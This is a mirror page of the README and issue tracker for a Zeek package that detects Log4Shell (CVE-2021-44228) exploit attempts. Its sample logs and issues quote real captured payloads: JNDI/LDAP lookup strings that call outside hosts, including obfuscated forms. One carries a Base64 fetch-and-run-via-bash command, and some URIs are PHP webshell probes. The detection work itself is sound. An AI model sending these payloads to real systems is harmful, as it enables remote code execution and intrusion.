Code Monkey home page Code Monkey logo

cve-2021-44228's Introduction

CVE-2021-44228

A Zeek package which raises notices, tags HTTP connections and optionally generates a log for Log4J (CVE-2021-44228) attempts.

Installation

$ zkg install cve-2021-44228

Use against a pcap you already have:

$ zeek -Cr scripts/__load__.zeek your.pcap

If you install from a git clone'd version of the repository, note that it defaults to the development branch. Install from master or a release for a more stable version of the package.

Options and notes:

  • CVE_2021_44228::log determines if the log4j log is generated. Defaults to T.
  • CVE_2021_44228::ignorable_target_hosts is a set of target_hosts so ignore. It is a set[string] so both IPs and domains can be ignored.
  • CVE_2021_44228::ignorable_orig_hosts set of addrs from known benign scanners that can be ignored.
  • CVE_2021_44228::ignorable_resp_hosts above but for resps.
  • CVE_2021_44228::try_normalize determines if normalizing the payload should be attempted. Defaults to T.

Example Notices

This package generates three distinct notices:

  1. LOG4J_ATTEMPT_HEADER
  2. LOG4J_LDAP_JAVA
  3. LOG4J_JAVA_CLASS_DOWNLOAD

LOG4J_ATTEMPT_HEADER flags potential attempts based on HTTP header data. These are also logged to log4j if enabled.

#separator \x09
#set_separator  ,
#empty_field    (empty)
#unset_field    -
#path   notice
#open   2021-12-14-11-50-29
#fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions email_dest      suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
#types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       set[string]     interval        string  string  string  double  double
1639350256.733555       Cp7gaS3nVqVl49obpb      154.65.28.250   57932   172.16.4.58     80      -       -       -       tcp     CVE_2021_44228::LOG4J_ATTEMPT_HEADER    Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers      uri='/', payload_uri=45.83.193.150:1389/Exploit, payload_stem=45.83.193.150:1389, payload_host=45.83.193.150, payload_port=1389, method=GET, is_orig=T, header name='AUTHORIZATION',  header value='Bearer ${jndi:ldap://45.83.193.150:1389/Exploit}'       154.65.28.250   172.16.4.58     80      -       -       Notice::ACTION_LOG      (empty) 3600.000000     -       -       -       -       -
#close  2021-12-14-11-50-29

LOG4J_LDAP_JAVA detects LDAP downloading Java bytecode. In practice, we see this happen infrequently enough that it makes for a good proxy detection for possibly successful exploits.

#separator \x09
#set_separator	,
#empty_field	(empty)
#unset_field	-
#path	notice
#open	2021-12-16-20-54-13
#fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	fuid	file_mime_type	file_desc	proto	note	msg	sub	src	dst	p	n	peer_descr	actions	email_dest	suppress_for	remote_location.country_code	remote_location.region	remote_location.city	remote_location.latitude	remote_location.longitude
#types	time	string	addr	port	addr	port	string	string	string	enum	enum	string	string	addr	addr	port	count	string	set[enum]	set[string]	interval	string	string	string	double	double
1639425815.885952	ClEkJM2Vm5giqnMf4h	172.16.238.10	57650	172.16.238.11	1389	-	-	-	tcp	Signatures::Sensitive_Signature	172.16.238.11: log4j_javaclassname_tcp	0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07...	172.16.238.11	172.16.238.10	1389	-	-	Notice::ACTION_LOG	(empty)	3600.000000	-	-	-	-	-
1639425815.885952	ClEkJM2Vm5giqnMf4h	172.16.238.10	57650	172.16.238.11	1389	-	-	-	tcp	CVE_2021_44228::LOG4J_LDAP_JAVA	Possible Log4j exploit CVE-2021-44228 exploit, JAVA over LDAP. Refer to sub field for sample of payload.	0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07Exploit	172.16.238.10	172.16.238.11	1389	-	-	Notice::ACTION_LOG	(empty)	3600.000000	-	-	-	-	-
1639425834.635341	CUM0KZ3MLUfNB0cl11	172.16.238.10	57742	172.16.238.11	1389	-	-	-	tcp	Signatures::Sensitive_Signature	172.16.238.11: log4j_javaclassname_tcp	0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07...	172.16.238.11	172.16.238.10	1389	-	-	Notice::ACTION_LOG	(empty)	3600.000000	-	-	-	-	-
#close	2021-12-16-20-54-13

Finally, LOG4J_JAVA_CLASS_DOWNLOAD generates a notice when we are confident that Java downloads more Java. As above, this happens sufficiently rarely to be a useful proxy detection.

#separator \x09
#set_separator  ,
#empty_field    (empty)
#unset_field    -
#path   notice
#open XXXX-XX-XX-XX-XX-XX
#fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions email_dest      suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
#types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       set[string]     interval        string  string  string  double  double
XXXXXXXXXX.XXXXXX       C4J4Th3PJpwUYZZ6gc      172.16.238.10   48444   172.16.238.11   80      -       -       -       tcp     CVE_2021_44228::LOG4J_JAVA_CLASS_DOWNLOAD       Possible Log4j CVE-2021-44228 exploit, Java has downloaded a Java class over HTTP indicating a potential second stage, after the primary LDAP request. Refer to sub field for user_agent and mime-type  user_agent='Java/1.8.0_51', CONTENT-TYPE='application/java-vm', host='172.16.238.11'        172.16.238.10   172.16.238.11   80      -       -       Notice::ACTION_LOG      (empty) 360XXXXXXXXXX.XXXXXX    -       -       -       -       -
XXXXXXXXXX.XXXXXX       CmES5u32sYpV7JYN        172.16.238.10   48534   172.16.238.11   80      -       -       -       tcp     CVE_2021_44228::LOG4J_JAVA_CLASS_DOWNLOAD       Possible Log4j CVE-2021-44228 exploit, Java has downloaded a Java class over HTTP indicating a potential second stage, after the primary LDAP request. Refer to sub field for user_agent and mime-type  user_agent='Java/1.8.0_51', CONTENT-TYPE='application/java-vm', host='172.16.238.11'        172.16.238.10   172.16.238.11   80      -       -       Notice::ACTION_LOG      (empty) 360XXXXXXXXXX.XXXXXX    -       -       -       -       -
#close  2021-12-126-19-17-58

Example Log (log4j.log)

#separator \x09
#set_separator  ,
#empty_field    (empty)
#unset_field    -
#path   log4j
#open   2021-12-14-11-50-29
#fields ts      uid     http_uri        uri     stem    target_host     target_port     method  is_orig name    value   matched_name    matched_value
#types  time    string  string  string  string  string  string  string  bool    string  string  bool    bool
1639350256.733555       Cp7gaS3nVqVl49obpb      /       45.83.193.150:1389/Exploit      45.83.193.150:1389      45.83.193.150   1389    GET     T       AUTHORIZATION   Bearer ${jndi:ldap://45.83.193.150:1389/Exploit}        F       T
#close  2021-12-14-11-50-29

References

  1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228
  2. https://corelight.com/blog/simplifying-detection-of-log4shell

cve-2021-44228's People

Contributors

awelzel avatar benjeems avatar initconf avatar keithjjones avatar mmguero avatar pauldokas avatar pbcullen avatar sethhall avatar ynadji avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cve-2021-44228's Issues

Improve parsing test coverage

Improve test case coverage, primarily focused on:

  1. Detecting exploit strings, and
  2. payload parsing

Internally we have logs of hits from various sensors. It would be worth extracting those for test cases to make fixing failures easier. We could also identify classes of strings we fail to parse from this set, to improve the parsing w/o having to wait for bug reports.

While attempted to address #30 , I started this branch, which shows my thought process for adding tests for parse_payload. If we have a lot of those covered, it'll be easier/safer to handle one off variations.

Add links to accompanying blogs that explain the detection algorithms

Also, suggest to have these links up top of the README, as the blogs are helpful to understand what's going on a higher level. Plus, if we also reference the blogs in comments at pertinent points of the code that would be nice.

https://corelight.com/blog/detecting-log4j-exploits-via-zeek-when-java-downloads-java
https://corelight.com/blog/detecting-the-log4j-exploit-via-zeek-and-ldap-traffic
https://corelight.com/blog/simplifying-detection-of-log4shell

Add pcaps to btest for diverse checking

I think we should add pcaps to the best on the next release, right now it feels very light on btest wise.
Adding diverse samples will help ensure we don't lose any TP, as changes are made.

Remove FPs associated with use of ${ indicator

remove a class of FPs that occur because of the use of the ${ indicator. This is a broad indicator, and specifically chosen to detect any obfuscation attempts since the FPs were not too voluminous and they are easy to spot.

These commonly, (though not always) relate to non log4j exploit of php webshells

Examples:
/index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))}

when the scanner script is broken eg ${user_agent} etc

/index?s=index/\think\Module/Action/Param/${@phpinfo()}

....cs=3&type=amb&ovsid=${UUID}

Add history field to the notice and/or log4j

Would it be possible to add the history field to the log4j or notice log? This can be useful when threat hunting and be able to rule out an attempt had it been reset or if it timedout for example.
Currently a customer would have to pivot on the UID to the conn log and pull the information.

Parses wrong payload IP

Things get hairy when there are multiple IP addresses and the exploit URI doesn't have //.

e.g.:

print(parse_payload("https://18.x.x.x:443/${jndi:ldap:/10.0.16.1:1389/Exploit}"));
print(parse_payload("https://18.x.x.x:443/${jndi:ldap://10.0.16.1:1389/Exploit}"));
...
~/code/cve-2021-44228 ben-jgj*
¡ zeek scripts
[uri=10.0.16.1:1389/Exploit, stem=10.0.16.1:1389, host=10.0.16.1, port_=1389]
[uri=18.x.x.x:443/${jndi:ldap:/10.0.16.1:1389/Exploit, stem=18.x.x.x:443, host=18.x.x.x, port_=443]

The lack of the // is the issue here. This branch (https://github.com/corelight/cve-2021-44228/tree/yacin-30-wrong-payload) has tests for this if someone has a clever idea to fix this ldap:/ one, but not break the others. Tabling this for now.

LDAPS fingerprinting

Are fingerprinting certificates and/or JA3 and JA3S useful as a way to detect exploit over the LDAPS channel.
Even if a robust detection is not possible due to a myriad of JA3/S values, this functionality is often still valuable as a hunting and IR datapoint.

DNS exfil regexes

In the case of DNS exfiltration, we could potentially watch DNS requests for items that match a regex based on AWS/GCP/etc keys/IDs, and other artefacts that could be exfilled by DNS. This would possibly be useful in a generic sense, outside of log4j.

Reference (towards the bottom of):
https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

AWS keys
https://awsteele.com/blog/2020/09/26/aws-access-key-format.html
https://docs.aws.amazon.com/sdk-for-php/v3/developer-guide/guide_credentials_environment.html

Potentially helpful list of regexes
https://github.com/odomojuli/RegExAPI

sniffed mime-type not populated in time, results in edge-case FN

using pcap: https://github.com/snapattack/damn-vulnerable-log4j-app/blob/main/attack-artifacts/victim/Win10Victim.pcapng

The LOG4J_JAVA_CLASS_DOWNLOAD notice doesn't fire using the existing code against this pcap. The reason is that the Server's HTTP Content-Type header said the mime-type is octet-stream (the script purposely doesn't look for octet-stream due to FP concerns) AND for some reason c$http$resp_mime_types isn't populated at the time of event http_end_entity - which is where we do the secondary check for the zeek sniffed mime-type of application/x-java-applet.
As an example of conns that should have raised a notice, the following shows the sniffed mime type application/x-java-applet (which should have raised a notice but did not), and also the headers which I've logged to show the Server's Content-Type header application/octet-stream.

1639671471.672486 CcSg4p4S7J4Zcvpa6i 10.0.0.5 54682 10.0.0.6 1337 1 GET 10.0.0.6 /Exploit.class - 1.0 Java/17.0.1 - 0 486 200 OK - - (empty) - - - - - - F7KaLT38jU1SgJDdI2 - application/x-java-applet USER-AGENT,HOST,ACCEPT,CONNECTION Java/17.0.1,10.0.0.6:1337,text/html\x2c image/gif\x2c image/jpeg\x2c *; q=.2\x2c /; q=.2,keep-alive SERVER,DATE,CONTENT-TYPE BaseHTTP/0.6 Python/3.8.10,Thu\x2c 16 Dec 2021 16:17:51 GMT,application/octet-stream
1639671472.566883 CFPQ2f2zYNUlVvpymh 10.0.0.5 54684 10.0.0.6 1337 1 GET 10.0.0.6 /Exploit.class - 1.0 Java/17.0.1 - 0 486 200 OK - - (empty) - - - - - - F4YA9e4rWZC2D8rC68 - application/x-java-applet USER-AGENT,HOST,ACCEPT,CONNECTION Java/17.0.1,10.0.0.6:1337,text/html\x2c image/gif\x2c image/jpeg\x2c *; q=.2\x2c /; q=.2,keep-alive SERVER,DATE,CONTENT-TYPE BaseHTTP/0.6 Python/3.8.10,Thu\x2c 16 Dec 2021 16:17:52 GMT,application/octet-stream

Solution should be pretty easy - look at using the http_message_done event, as c$http$resp_mime_types definitely should be populated by that stage.

Reporter errors "field value missing (CVE_2021_44228::c$http$uri)"

I installed this package and I'm seeing some of these crop up in reporter.log and wanted to let you all know. It may have been a transient burst of these errors (I haven't seen any in a while) but I nonetheless had them occur and our checks to the custom scripts API endpoint in our monitoring seemed to not like it at all, seems worth looking into. I saw about 51 of these events in reporter.log within a 1 hour timeframe after initially loading the bundle with this package included.

{"_path":"reporter","_system_name":"redacted","_write_ts":"2021-12-15T22:53:03.090118Z","ts":"2021-12-15T22:53:03.090118Z","level":"Reporter::ERROR","message":"field value missing (CVE_2021_44228::c$http$uri)","location":"/opt/bro/share/zeek/site/packages/customer-bundle/packages/./cve-2021-44228/./CVE_2021_44228.zeek, line 111"}

log4j.log field naming considerations

This is probably not a huge deal, however, I just wanted to comment that the field names target_host and target_port in the log4j.log at first blush seem a bit misleading/confusing, but maybe I'm just being a bit pedantic? : ) My thoughts are essentially that these fields would perhaps be more aptly named something like payload_host/payload_port or callback_host/callback_port? Using the term target_ is a bit misleading in that the target is IMHO more intuitively the systems on our local networks being targeted for exploitation rather than the attacker callback/payload host and port serving up the next stage of the exploit chain which is what the log4j.log is parsing out and tracking as far as I understand it.

I'm not sure if it's maybe slightly counterproductive to change these field names now as it may cause some minor headaches for people already using the fields with SIEM queries but it might be worth it in the long run...anyhow...something to consider, thanks for the amazing work on this package, the recent enhancements are really awesome and super valuable! If this isn't worthwhile feel free to close this out, you won't hurt my feelings : )

Env vars in URL

https://foobarstuff.wiz.biz=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=${GDPR};gdpr_consent=${GDPR_CONSENT_755}

Cater for payload obfuscation tags

Cater for payload obfuscation tags
examples:

${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/ callback}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-
p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjU

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjUzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE2Mi4wLjIyOC4yNTM6ODApfGJhc2g=

add id_orig_h and id_resp_h to log4j.log

It is very handy when hunting and doing IR to have the id_orig_h and id_resp_h (actually even the id_orig_p and id_resp_p) in the log4j.log as fields . This is in addition to the uid which exists there already.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.